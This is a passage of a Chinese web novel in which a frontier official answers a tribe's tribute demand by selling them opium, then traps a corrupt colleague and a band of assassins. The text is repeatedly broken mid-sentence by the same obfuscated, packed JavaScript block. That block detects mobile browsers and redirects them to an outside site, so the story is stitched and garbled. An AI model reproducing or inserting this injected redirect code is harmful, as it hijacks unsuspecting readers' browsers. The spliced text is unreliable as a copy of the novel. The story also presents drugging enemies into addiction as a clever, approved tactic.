话音落,瓷碗脱手,在青石板上摔得粉碎!清脆的响声,如同惊雷炸响! “若有违此誓,提头来见!” 赵莽的双目, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990514|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于闪过一丝剧烈的震动。 他看着眼前这个看似文弱的年轻书生,看着他身上那股霸气与决绝,竟一时失语。 …… 知州府,议事厅。 告别赵莽,刚刚回来的陈平川还没落座,一名手下便面色惶急地匆匆入内。 “大人!府外有一自称北蛮‘黑狼部’的使者求见!” 手下顿了顿,脸色变得有些古怪地补充道。 “他……他质问我们,这个月的‘岁贡’,为何迟迟没有送过去?” 陈平川眉头瞬间拧成一个疙瘩:“岁贡?什么岁贡?凭什么?!” 一旁垂手侍立的邢彬,立刻向前一步,将声音压低。 “大人,此事……此事说来话长。这黑狼部是北蛮最凶悍的部落之一,凶残成性,不宜得罪。马大人……马德在时,为了不激怒对方,保顺城一时平安,只能……只能每年赔些钱粮器物。” 他偷偷观察着陈平川的脸色,见他面色阴沉,继续“苦口婆心”地说道: “您新官上任,根基未稳,军心未附。依下官愚见,不如……也先安抚一番?破财免灾,等日后站稳了脚跟,再从长计议也不迟啊?” 这番话听起来,句句都是为了陈平川和顺城着想,可谓是合情合理。 角落里,一直默不作声的梁坤,正端着茶杯,宽大的袖袍遮住了他大半张脸。 他用杯盖轻轻撇去浮沫,嘴角勾起一抹难以察觉的冷笑。 好一招借刀**。 这姓陈的若是敢拒绝,以黑狼部的德性,必定挥兵南下。 届时军心不稳的顺城守军能否出战都是未知数,城破人亡的罪责,他陈平川一人承担,搞不好,小命都要交代! 可他若是答应了,向蛮族低头,赔款纳贡。 那他刚刚在百姓和军中树立起来的“青天硬汉”形象,将在一瞬间轰然倒塌,沦为和马德一样的软骨头。 这,是一个死局。 梁坤轻轻吹了吹杯中的茶叶,眼底尽是看戏的惬意。 就看你陈平川,怎么破。 议事厅内,空气沉闷。 张若素紧紧抿唇,她设想自己是陈平川,面对这个情况,该怎么办? 可惜,她想来想去也想不到好办法。 陈平川沉吟不语,手指轻轻捏着下巴,片刻后,他忽然抬起头,目光清冷,看向那名来报信的手下。 “让他进来。” 第147章 要钱没有,但我有一件“神仙之物” 众人面面相觑,那句平淡无奇的“让他进来”,让所有人都在好奇,陈平川要怎么应对。 片刻后,一个魁梧如铁塔的身影,出现在大堂门口。 来人熊腰虎背,满脸横肉虬结,一双浑浊的眼睛里透着野兽般的凶光和对众人的轻蔑。 他身上那件肮脏的皮裘散发着一股浓重的腥膻气,腰间斜挎的弯刀刀柄,像个野人般,大摇大摆地踏入公堂。 环视一圈,目光扫过那些噤若寒蝉的官员,最后,落在了主位上神色平静的陈平川身上。 “我叫巴图,你就是新来的官儿?”巴图毫不客气,一屁股坐在了旁边的客座上,还将一条腿蛮横地翘在另一条腿上,那双沾满泥污与草屑的靴子,就这么嚣张地对着堂上的众人。 他从怀里掏出一张泛黄起皱的羊皮纸,“啪”地拍在桌子上,用蹩脚生硬的汉话,傲慢地质问:“这个月的‘东西’,为什么还没送到我黑狼部落?” 他伸出粗壮的手指,重重点了点那张羊皮纸,理直气壮。 “白纸黑字!是你们那个叫马德的官签的!你们要是敢不认,我黑狼部的铁蹄,三日之内,就踏平顺城!到时候,就把你这个小白脸的脑袋,割下来给我们的首领当夜壶!” 这番粗鄙而血腥的话,无异于向陈平川下达战书。 张若素脸色一白,藏在袖中的手不自觉地攥紧,她为陈平川捏了一把冷汗,这蛮人根本不讲道理,稍有不慎,便会引火烧身。 邢彬擦了擦额头的冷汗,连忙抢上前去,脸上堆起谄媚的笑容,一边对巴图点头哈腰安抚,一边转身对陈平川急切劝道:“大人!黑狼部凶悍无比,乃是边境一霸,万万不可激怒啊!古人云,好汉不吃眼前亏,不如暂且应下,破财免灾,方是上策啊!” 在场的官员们,一个个屏住呼吸,所有的目光都聚焦在陈平川的身上。 他的决定,将直接决定顺城的命运,也决定了他们所有人的生死。 角落里,梁坤嘴角噙着若有若无的冷笑,眼底深处是看好戏的惬意。 他倒要看看,陈平川如何破解这个死局。 答应,则威信扫地,沦为软骨头! 不答应,则兵临城下,玉石俱焚! 然而,陈平川没有理会邢彬的聒噪,他看着嚣张到极点的巴图,忽然低低地笑出了声。 “你要岁贡?可以啊。” 这轻飘飘的一句话,让所有人都愣住了。 巴图也是一怔,没想到对方这么好说话。 陈平川缓缓站起身,踱步走下台阶,一直到巴图面前,才停下脚步,然后摊开了双手,掌心向上。 “可惜,我没有。” 他指了指门外那萧条的街道,道:“别说给你岁贡了,我现在连给我手下士兵发军饷的钱都拿不出来。你应该也看到了,这城里的百姓,饿得连路都走不动。你就算现在带兵打过来,除了能抢到一堆没用的沙土和一座饿鬼之城,还能得到什么?” 陈平川的目光忽然锋芒毕露,直刺巴图的双眼。 “当然,我们也不会坐以待毙,定会死战到底!这一战下来,就算你们能赢,你们的勇士,至少也要死伤一半!为了一点点‘岁贡’,赔上几百条精锐勇士的性命,你觉得,你们的首领会怎么想?他会奖赏你,还是惩罚你?” 巴图脸上的嚣张凝固了,眼中的凶光变成了迟疑。 他虽然愚蠢,但并不傻,这笔账他听得懂。 他是奉命来耀武扬威、顺便捞好处的,可没想过要打一场损兵折将的硬仗。 陈平川见他面露犹豫,立刻凑近一步,将身体微微前倾,压低了声音,用一种充满诱惑的语气开口:“钱粮,我确实没有。不过……” 他故意停顿了一下,继续说道。 “我会从京城,给你们首领,带一样好东西过来。” “什么东西?”巴图下意识地被勾起了好奇心。 “神仙之物。”陈平川的嘴角勾起一抹莫测的笑意,“那是专供我们大业朝皇亲国戚享用的宝贝,寻常人见都见不到。此物,不但能治百病,强身健体,更能让人忘却一切烦恼,体会到飘飘欲仙的滋味,比金子还要贵重百倍!” 巴图的眼睛瞬间亮了,呼吸都变得粗重起来。 “此话当真?” 他久居塞外,见识不多,只知道大业朝有很多新鲜有趣的好东西,所以对陈平川的话,深信不疑。 “我骗你作甚?”陈平川循循善诱,蛊惑道,“你想想,岁贡是部落的,你带回去,功劳是首领的。可你若把这‘神仙之物’带回去,献给你们首领。首领一高兴,从此把你当做心腹看待,你在部落里的地位,岂不是一步登天?这份天大的功劳,难道不比催收岁贡大得多吗?” 陈平川为他描绘的这幅蓝图,像一团熊熊燃烧的烈火,瞬间点燃了巴图心中的贪婪与虚荣。 他仿佛已经看到自己被首领重重赏识,族人们对他投来敬畏与羡慕目光的场景。 那可比现在这个催债的差事风光百倍! “好!”巴图猛地一拍大腿,激动得笑容满面,“东西在哪?快给我!” “别急。”陈平川摆了摆手,“京城到这里,路途遥远,东西还在路上,我估摸着,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990515|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多一个月就能到。你先回去禀报首领,就说我陈平川敬仰他的威名,特意为他备下了一份厚礼。” 他态度亲切地拍了拍他厚实的肩膀。 “到时候,我亲自将礼物送到你手上,绝不食言。” “好!好!就这么说定了!”巴图被哄得心花怒放,彻底忘了自己是来干什么的,只觉得自己办成了一件惊天动地的大事。 又虚张声势地丢下几句警告的话后,巴图在陈平川“热情”的相送下,昂首挺胸、兴高采烈地走出了府衙大门。 看着他那得意扬扬的背影,陈平川脸上的笑容渐渐隐去,化为一片冰冷的沉静,转身返回公堂。 议事厅内,众人依旧沉浸在困惑中,窃窃私语。 没人听清陈平川和巴图最后嘀咕了什么,只看到刚才还凶神恶煞的蛮人使者,转眼间就成了陈大人的“好兄弟”,高高兴兴地走了。 梁坤满脸疑惑,邢彬更是百思不解。 这……这就解决了? 太容易了吧? 陈平川径直走回主位,目光如电,扫过下方依旧处于呆滞中的众官员,朗声道:“传我命令!” 厅内瞬间一静。 “三日后,顺城榷场,正式开市!” 此言一出,满堂皆惊! 不等众人从震惊中反应过来,陈平川已拿起笔,迅速签发一道手令。 “邢彬!” “下……下官在!”邢彬一个激灵,连忙应道。 “此令你即刻传给城中商户刘四海,命他为榷场总办,负责一切通商事宜,不得有误!” 他又另取一张纸,笔走龙蛇,写下一封短信,用火漆封好。 “来人,将此信送往军营,交予赵莽将军。请他三日后,务必派精兵维持榷场秩序,但有**者,无论何人,格杀勿论!” 一连串雷厉风行的安排,快得让人直眨眼睛。 梁坤和邢彬的脸,阴云密布。 尤其是梁坤,他最不想看到的就是陈平川重开榷场,一旦商路打通,陈平川就有了源源不断的财力,到时候就更难对付了! 开市的消息,像一阵春风,迅速吹遍了顺城的街头巷尾。 那些因为封锁交易,导致工坊倒闭、几乎活不下去的手工业者,还有那些守着一仓库货物却卖不出去、急得要上吊的小商贩们,听到这个消息,都不敢相信自己的耳朵。 当确认消息无误后,一股狂喜的浪潮瞬间冲散了他们心中的绝望! “开市了!陈大人要重开榷场了!” “天啊!我们有活路了!我的家有救了!” “多谢陈大人!多谢陈大人啊!” 第148章 对敌人最大的仁慈,就是让他爽到死! 三日后,顺城北门。 榷场开放后,吸引了大批边民。 曾经萧条得可以跑马的街道,此刻人头攒动,车水马龙。 汉人的商贩与塞外的牧民,操着南腔北调的语言,夹杂着生硬的讨价还价声,构成了一幅奇特而繁荣的画卷。 就在这片喧闹中,一支不起眼的商队,从侧门驶入了知州府的后院。 为首的汉子身材敦实,见到陈平川便是一个深揖,动作干练。 “陈大人,我家张老板,托小的给您带封信,还有您要的东西。” 陈平川接过信,迅速扫过,信中是张金宝对他的挂念,以及对他交办之事的汇报。 他点了点头,目光落向商队卸下的几只不起眼的木箱。 箱子打开,里面并非金银绸缎,而是一排排用黑檀木制成、雕刻着精美云纹的小盒子。 打开一只,一股奇特的混杂着草药的香气弥漫开来。 盒内,是一小块黑色的、油膏状的物体,在日光下泛着幽暗的光。 “神仙膏。” 陈平川轻轻吐出这三个字,这是他之前亲笔去信,让张金宝不惜重金从京城各处搜罗,甚至通过一些特殊渠道从海外商人手中购得的。 它的真名,叫**。 这,就是他要送给黑狼部落首领的“神仙之物”。 夜,书房。 陈平川将一只黑檀木盒推到刘四海面前。 “刘老板,这件东西,你应该认识吧?” 刘四海拿起盒子,凑到鼻尖闻了闻,双目瞪大! “这是……” 他见多识广,当然知道这是何物。“神仙膏,能治百病,解千愁,赛神仙。你找机会,悄悄卖给那些北蛮的贵族。记住,要卖出天价!” 陈平川看向刘四海,眼中透着狡猾的笑意。 刘四海一愣,随即眼中放出精光,他是个商人,立刻嗅到了其中的巨大利润。 同时也知道了陈平川的计划。 他抚掌大笑:“大人高明!用这些玩意儿掏空他们的家底,比刀剑还快!” “大人,此举……是不是不妥?” 一直侍立在旁,帮忙沏茶的张若素终于忍不住开口,她秀眉紧蹙,“我见过京城有人吸食此物……其能乱人心智,使人沉沦,长此以往,恐成废人。我们这样做,是否……太过残忍?” 陈平川转过头,目光直视张若素,用冰冷的声音回应。 “残忍?那你告诉我,他们纵马屠戮我大业边民的时候,残不残忍?他们将我们的士兵头颅砍下,筑成京观炫耀武功的时候,残不残忍?” “你忘了赵老将军那本阵亡抚恤名册了吗?上面每一个名字,都曾是一个活生生的人!他们也有父母妻儿!记住!对敌人的仁慈,就是对自己的残忍!” 这一字一句,震颤张若素的心弦! 她想起那些堆积如山的血泪状纸,想起百姓们控诉家破人亡时的悲泣。 是啊,在这片弱肉强食的土地上,过度的仁慈,就是对百姓的残忍。 她紧紧抿唇,眼中的犹豫与不忍,渐渐化为一片坚定。 她不再言语,只是默默地为陈平川续上一杯热茶。 刘四海的商业头脑确实非同凡响。 “神仙膏”价格高得离谱,一小盒就顶得上一百匹上好的战马。 起初,那些蛮族贵族都把它当成一个笑话。 刘四海也不争辩,他选中了几个在部落里颇有地位,又常年受旧伤顽疾困扰的首领,将几盒“神仙膏”作为“礼物”,免费赠送。 “此物乃神仙所赐,非金钱所能衡量。几位首领乃人中之龙,合该享用。” 效果是立竿见影的。 一个因早年坠马,每逢阴雨天便腿疼难忍的老首领,在吸食之后,竟感觉不到一丝疼痛,整个人精神焕发,仿佛年轻了二十岁。 另一个被心悸失眠困扰多年的贵族,当晚便一觉睡到天亮,醒来只觉通体舒泰,烦恼尽消。 “神仙膏”的“神奇”效果,迅速在蛮族上层圈子里迅速传开。 它成了身份的象征,成了最贵重的礼物。 陈平川遵守承诺,将“神仙之物”送给了巴图,巴图带着陈平川“赠予”的厚礼,兴高采烈地回到了黑狼部落。 黑狼部落的首领起初并不相信这黑乎乎的泥膏有何神奇,斥责巴图被汉人戏耍。 恰好,邻近的苍鹰部落首领前来拜访,看到这黑檀木盒,竟两眼放光,连声称赞黑狼首领有门路,能搞到此等“神仙之物”,并绘声绘色地描述了其妙处。 黑狼首领将信将疑地尝试了一次。 果然,那飘飘欲仙、忘却一切烦恼的感觉,让他瞬间沉迷。 他心情大悦,当即赏赐了巴图一名美女、十头牛羊。 巴图看着首领和贵客们围着小小的膏盒,吞云吐雾,脸上露出痴迷陶醉的神情,心中如百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990516|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爪挠心。 他也想试试。 于是,他偷偷用赏赐的牛羊,从刘四海那里换来一盒。 那极致的体验,顿时让他彻底沦陷。 很快,他身边的亲人朋友,也都在他的“分享”下,尝到了“神仙”的滋味。 一股黑色的暗流,开始由上至下,悄无声息地侵蚀着整个部落。 与此同时,顺城的府库,金银正以前所未有的速度堆积起来。 榷场的生意,比所有人预想的还要火爆。 丝绸、瓷器、茶叶被高价卖出,换回大量的牛羊皮**与金银。 哪怕陈平川只收取极低的税金,也积累了上千两白银! 加上“神仙膏”的收入,足有近万两白银!短短三个月,陈平川不仅还清了赵莽军中拖欠的所有抚恤金,以及拖欠三年的军饷,甚至还提前预付了下个月的军饷。 军营里,赵莽看着眼前这一箱箱白花花的银子,整个人都呆住了。 他身体颤抖,一时间竟说不出话来。 那些跟随他多年的老兵们,也是满脸不敢置信的表情。 有的士兵甚至红了眼眶,喃喃道:“这些年苦熬过来,终于有人记得我们了!” 赵莽猛然起身,对着陈平川深深一躬:“陈大人,老朽之前有眼不识泰山,多有冒犯,还请大人恕罪!” 他命人拿酒来,与陈平川举杯共饮。 “从今往后,我这条老命就是大人的了!赵莽誓死追随,绝无二心!” 赵莽将酒碗摔碎,众将士齐声高呼,声震营房。 从此,陈平川在军中的威望如日中天,赵莽更是成了他最忠实的拥护者。 …… 府衙的偏房里,邢彬眯着眼,看着属下呈报上来的库房账目,眼中的贪婪几乎要溢出来。 他叫来一名心腹商人,压低声音。 “你找个机会,弄一批武器和伤药,卖给北边的秃鹫部。” 那商人吓了一跳:“大人,秃鹫部……那可是**不吐骨头的豺狼!他们去年才洗劫了邻近的望月堡,手段残忍至极,马大人在时,都严禁和他们有任何往来啊!” 邢彬冷笑一声:“蠢货!正因为他们最强最狠,这笔生意才做得!陈平川这厮早晚要完蛋,我们得给自己留条后路。跟秃鹫部搭上线,万一将来陈平川倒台,我们也好有个去处,懂吗?” 他这是在用顺城的命脉,给自己买一份投敌的保险! 第149章 这不叫引蛇出洞,这叫喂肥了再杀! 刘四海很快就察觉到了不对劲。 作为榷场总办,所有大宗交易都要经过他的手。 他发现,邢彬那个心腹商人的账目上,采买的桐油和木炭数量,远远超出了正常范畴。 桐油可以防锈,木炭可以炼钢。 很明显,这家伙在偷偷炼钢!而这边塞之地,钢的用途只有一个,那就是武器! 他不动声色,派人暗中盯梢,果然发现那商人在夜里,偷偷将伪装成普通货物的箱子,运往了城外一处废弃的驿站,与几个鬼鬼祟祟的蛮人接头。 那些蛮人的服饰图腾,正是属于最凶残的秃鹫部! 刘四海心头一凛,连夜求见陈平川,将此事和盘托出。 书房内,烛火晃动。 陈平川听完汇报,脸上毫无波澜,只是用手指轻轻敲击着桌面。 “做得好。”他看着刘四海,目光锐利,“先不要声张。” “放长线钓大鱼,绝不能让他轻易跑了。”陈平川嘴角勾起一抹冷意,“我要把后面那条大鱼,也一并拽出水面!” 刘四海一怔,随即反应过来:“那大人准备怎么办?” 陈平川的手指在桌上轻轻一点,“我要你找一个机灵可靠、又长着一张亡命徒脸的伙计。” “让他装成想发国难财的黑心商人,主动去找那个走私商人。告诉他,你们有更多更好的货源,想入伙一起干票大的。至于分红,可以多让给对方一些。” 刘四海微笑道,“大人,这是引蛇出洞?” “不。”陈平川纠正他,“是给蛇喂食,让它肥到再也钻不回洞里。” “可对方会上当吗?”刘四海还是有些担心。 陈平川站起身,走到他面前,拍了拍他的肩膀。 “放心,贪婪会蒙蔽他的双眼。他看到的只会是金灿灿的元宝,而不是明晃晃的屠刀。” …… 三天后,邢彬的府邸。 那个负责走私的心腹商人,领着一个面相凶悍的汉子,走进了邢彬的书房。 “大人,就是这位兄弟有路子,能弄到更多更好的货。” 一脸横肉的汉子咧嘴一笑,露出一口黄牙,对着邢彬拱了拱手。 “邢大人,在下听说这里能做大生意,想跟着您混口饭吃。” 邢彬靠在太师椅上,眯着眼打量着他们,没有立刻作声。 见状,横肉汉子从怀里掏出一张货单,拍在桌上。 “大人请看,这是我们能搞到的东西。百炼精钢的刀,破甲的箭簇,要多少有多少。我们只要七成,剩下的全归大人。” 邢彬拿起单子看了看,上面的东西,比他现在倒卖的那些物资,强了不止十倍。 “你胆子不小啊!”邢彬的身体微微前倾,“你们就不怕,新来的陈大人把你们的脑袋挂在城楼上?” “怕?”汉子哈哈大笑,“富贵险中求!再说了,陈大人一个读书的,他懂怎么做生意吗?咱们就在他眼皮子底下发财,他都发现不了!” 这番话,正中邢彬下怀。 他最瞧不起的,就是陈平川那副文弱书生的模样。 “好!”邢彬一拍桌子,“既然你们有这个胆色,我就给你们这个机会!” …… 府衙后院的凉亭里,梁坤正悠闲地喂着池中的锦鲤。 邢彬快步走来,脸上是掩饰不住的兴奋。 “梁大人,好消息!我又找了个新伙伴,他们的货更好,咱们能赚得更多!” 梁坤将手中的鱼食撒尽,用丝帕擦了擦手。 “底细,查清了?” “查了,就是个想发财的亡命徒,不足为虑。”邢彬满不在乎。 梁坤动作顿了一下,叮嘱道:“邢彬,你记住,陈平川不是马德那种蠢货。他可比狐狸还精!” 他走到邢彬面前,声音压低。 “凡事,都要给自己留条后路。万一……事情败露,你需要一个替死鬼。” 梁坤抬起手,做了一个抹脖子的动作。 “只有**,才不会乱说话。” 邢彬眼睛转了转,点点头,他懂了。 …… 夜,大雨滂沱。 雷声滚滚,仿佛战鼓在天边擂响。 城外,废弃的驿站。 邢彬的心腹商人,正和刘四海派来的“亡命徒”,焦急地等待着。 几道黑影,如同鬼魅般从雨幕中走出,他们穿着秃鹫部的服饰,脸上画着狰狞的图腾。 “东西呢?”为首的蛮人声音低沉,开口讨要。 商人连忙指挥着手下伙计,将一辆马车推来,上面摆满了十几个大箱子。 箱子打开,里面整齐地码放着一柄柄崭新的钢刀,刀锋在微弱的火光下,泛着森冷的寒意。 蛮人首领满意地点了点头,正要挥手示意手下接货。 突然! “不许动!” 一声暴喝,炸雷般响起! 驿站四周,无数人影涌现! 赵莽身披重甲,手持长刀,带着数百名精兵从四面八方冲了出来,将所有人团团围住。 商人当场吓得瘫软在地,裤裆一片湿热。 秃鹫部的蛮人们也是脸色大变,纷纷拔出弯刀,叽里呱啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990517|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱叫。 赵莽冲过来,抓住那商人的衣领喝问:“谁让你私通蛮族?说!”商人哭喊,“是邢,邢大人!都是他指使**的!我……” 他的话音未落。 “咻!” 一支短箭,悄无声息地从远处的黑暗中射出,快如流星,精准地没入商人的后心。 他甚至连惨叫都未发出,身体一僵,便向前扑倒,气绝身亡。 脸上的表情,凝固在惊恐的那一刻。 “刺客!”赵莽勃然大怒,“给我追!” 几名亲兵立刻遁入茫茫雨夜,但刺客早已消失得无影无踪。 秃鹫部的蛮人趁机反抗,却被如狼似虎的官兵砍瓜切菜般斩杀大半,只剩下几个被当场打断了手脚,活捉了下来。 …… 次日,顺城府衙。 商人的尸体,就摆在公堂中央。 邢彬抢先发难:“陈大人!你们也不小心了,这可是关键人证啊!现在可好,人一死线索全断!你让本官如何去查幕后真凶?你这是要将顺城的安危,置于何地啊!” 梁坤站在一旁,也长叹一声,满脸“痛心疾首”。 “陈大人,求功心切,梁某可以理解。但行事如此激进,打草惊蛇,反倒让真正的贼人逍遥法外,可惜,可惜啊!” 两人一唱一和,将一盆盆脏水,尽数泼向陈平川。 堂下的大小官员,看着陈平川,也是窃窃私语,神色各异。 陈平川站在尸体前,脸色一阵红一阵白,充满了失败的懊恼。 “来人!”陈平川的声音压抑着怒火,咬牙切齿地吼道:“全城**!封锁四门!挨家挨户地给我搜!就算是掘地三尺,也要把凶手给我找出来!”这番“无能狂怒”的表演,让梁坤和邢彬对视一眼,都从对方脸上看到了得意的笑容。 他们彻底放心。 这个陈平川,终究还是太年轻了。 从府衙回来,刘四海正在陈平川的屋子里,忧心忡忡地来回踱步。 “大人,那商人临死前分明提到邢彬,可惜人没保住,我们拿邢彬没办法!” 陈平川坐在桌案后,正用镊子夹着那枚淬毒的短箭,在烛火上轻轻烧灼。 **遇火,发出一股奇特的、淡淡的杏仁味。 他脸上,哪还有半分白天的懊恼。 “放心。” 陈平川将那枚烧得发黑的箭矢,轻轻放在桌上。 他冷冷一笑。 “狼一旦尝过肉的滋味,就再也忘不掉了。他只会变得更加贪婪,很快,就会自己把脖子伸到我们的刀口下。” 第150章 邢彬:**,**的人是我?! 邢彬府邸的密室里,烛火摇曳,映照他得意的脸。 端起酒杯,他朝对面的梁坤遥遥一敬。 “梁大人,陈平川吃了这么大一个哑巴亏,现在怕是正躲在府里跳脚骂娘呢!” 梁坤慢条斯理转动着酒杯,哼道:“你太小看他了。此人狡猾得很,这次没扳倒他,下一次,会更难对付。” 邢彬脸上闪过一丝不屑。 “再狡猾的狐狸,还能逃得过弓箭不成?”他放下酒杯,眼中凶光毕露,“梁大人,夜长梦多。此人不除,你我寝食难安!依我看,一不做,二不休,直接送他上路!” 梁坤的动作停住了。 密室里陷入了死寂,只有烛火偶尔发出的“噼啪”声。 梁坤不是不想除掉陈平川,但是,对方毕竟是钦差,稀里糊涂死在这里,他身为监军,不给朝廷一个合理的说法,也难辞其咎。 “秃鹫部。”邢彬见梁坤犹豫,心领神会,开口吐出三个字,“这群蛮子贪婪,嗜血,而且,不问缘由,只认钱。” “让他们去杀陈平川,就说陈平川得罪了蛮子,被他们寻仇杀了,梁大人您看如何?” 梁坤闻言,脸上浮现出残忍的笑容。 他缓缓补充了一句:“记住,手尾要处理得干净些,千万不要牵扯到我们身上,事成之后,顺城就是我们的了。” “属下明白!” …… 三日后,一支扮作皮货商的蛮族商队,混在人群中进了顺城。 他们一行三十人,个个身材魁梧,看似随意地扛着货物,但腰间的皮袍下,总有武器的轮廓若隐若现。 城楼上,一名老兵正擦拭着他的长弓,无意间朝下方瞥了一眼。 就是这一眼,让他眯起了眼睛。 那些人,走路的姿势不对。 商贩走路,或快或慢,气息不匀,但这伙人,每一步都踏得极稳,重心下沉,这是常年骑马与厮杀才能养成的习惯。 老兵没有声张,和旁边的士兵叮嘱几句,默默走下城楼,径直朝军营奔去。 赵莽听完汇报,脸色一沉,当即赶往知州府。 书房内,陈平川听完赵莽的描述,只是平静地在沙盘上,摆弄着几支小旗。 “大人,这伙人混进城里,必有图谋!”赵莽与蛮族打了十几年交道,了解他们的品性。 “赵将军说的没错,来者不善。”陈平川拿起一支小旗,他抬起头,“请将军派几个机灵的弟兄,换上便装,远远地跟着。本官想知道,他们要去哪,想干什么。” 赵莽拱手,领命而去。 一个时辰后,消息就传了回来。 那伙蛮人不断在知州府附近徘徊,向路边小贩打听府内守卫情况。 意图,已昭然若揭。 陈平川将最后一枚代表弓箭手的小旗,插在了府衙周围的屋顶上。 “赵将军,”他头也不回地吩咐,“今夜,把军营里最好的弓箭手都叫来。再挑一百名最悍勇的弟兄,把府衙前后左右,都给本官围**,一个都不能放跑了!” 他又对一旁的张若素开口:“若素,去我的卧房,把我常穿的那件青色长衫取来,然后……” 张若素一边听一边点头,转身快步离去。 一场猎杀,即将开始。 …… 夜色如墨,连月光都被乌云吞噬。 知州府灯火通明,后堂的书房里,一道人影背对门口,正伏案看书。 “陈平川”的影子被烛光投在窗纸上,一动不动。 三十道黑影,如鬼魅般贴着墙角,悄无声息地潜入院中,将整个后堂包围。 为首的刺客头目眼中闪过一抹杀意,他做了个抹脖子的手势。 下一刻,一群人如离弦之箭,踹开房门,冲入屋内。 头目手中弯刀划出一道凄厉的弧线,直取那伏案人影的后颈! “噗嗤!” 刀锋入肉,却毫无砍中血肉的质感。 那“陈平川”的脑袋,竟被一刀两断,冲天飞起,露出的不是血肉,而是金黄的稻草! 假人! 刺客头目心中大骇,一股寒意从脚底直冲天灵盖。 “既然来了,就别走了!” 一道冰冷的声音,仿佛来自九幽地府,在院外响起。 话音未落,四周的屋顶上,火把齐齐亮起,无数张拉满的强弓,对准了院中惊慌失措的刺客们。 赵莽身披重甲,手持长刀,立于人前,状若天神。 他发出一声雷霆般的怒吼:“放箭!” “咻咻咻——!” 数百支箭矢,裹挟着死亡的呼啸,如黑色的暴雨,瞬间倾泻而下! 箭雨是如此密集,刺客们甚至来不及发出一声惨叫,纷纷中箭栽倒,身体被钉死在冰冷的地面上。 少数几个反应快的,挥刀格挡,试图冲出箭雨覆盖的范围。 但迎接他们的,是早已等候在侧的百名精锐卫兵。 雪亮的**挥舞成一片刀林,只听见几声骨肉碎裂的闷响,那几个冲出来的刺客,瞬间被剁成了肉泥。 唯有那刺客头目,武艺确实高强,他舞动弯刀,护住周身要害,竟硬生生顶着箭雨冲了出来,目标直指站在门口的陈平川! 他要杀了这个戏耍他们的汉人! 然而,一道苍老却雄健的身影,挡在了他的面前。 是赵莽。 “铛!” 金铁交鸣,火星四溅。 老将军的刀法大开大合,势大力沉。 只三招,那刺客头目便被震得虎口开裂,弯刀脱手,被赵莽一脚踹在膝弯,重重跪倒在地。 几名士兵一拥而上,将他死死按住。 赵莽将刀架在他的脖子上,正欲喝问。 “哈哈哈哈!”陈平川却突然抚掌大笑,从门后走了出来。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990518|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看都未看地上的刺客头目,而是对着赵莽朗声开口:“赵将军,邢大人的计策真是天衣无缝!这些愚蠢的蛮子,还真以为有便宜可占,果然自己送上门来了!这下,我们不仅铲除了这些恶狼,还能拿着他们的人头去向邢大人邀功了!” 那被按在地上的头目,闻听此言,浑身剧震! 邢彬!竟是邢彬出卖了他们! 他本是来**,却成了别人计划中的“功劳”! 可怜了和他出生入死的兄弟! 一股滔天的怒火与**,瞬间冲垮了他的理智。 “嗷——!” 他发出一声野兽般的咆哮,竟不知从哪来的力气,猛地挣脱了束缚,拼命地朝院外冲去。 他要回去!他要告诉首领! 他要让邢彬那个卑鄙的汉人,付出血的代价! “大人!他跑了!”赵莽惊呼一声,作势要追。 “不必了。”陈平川抬手拦住他。 他看着那道仓皇逃窜的背影消失在夜色中,脸上是一片冰冷的平静。 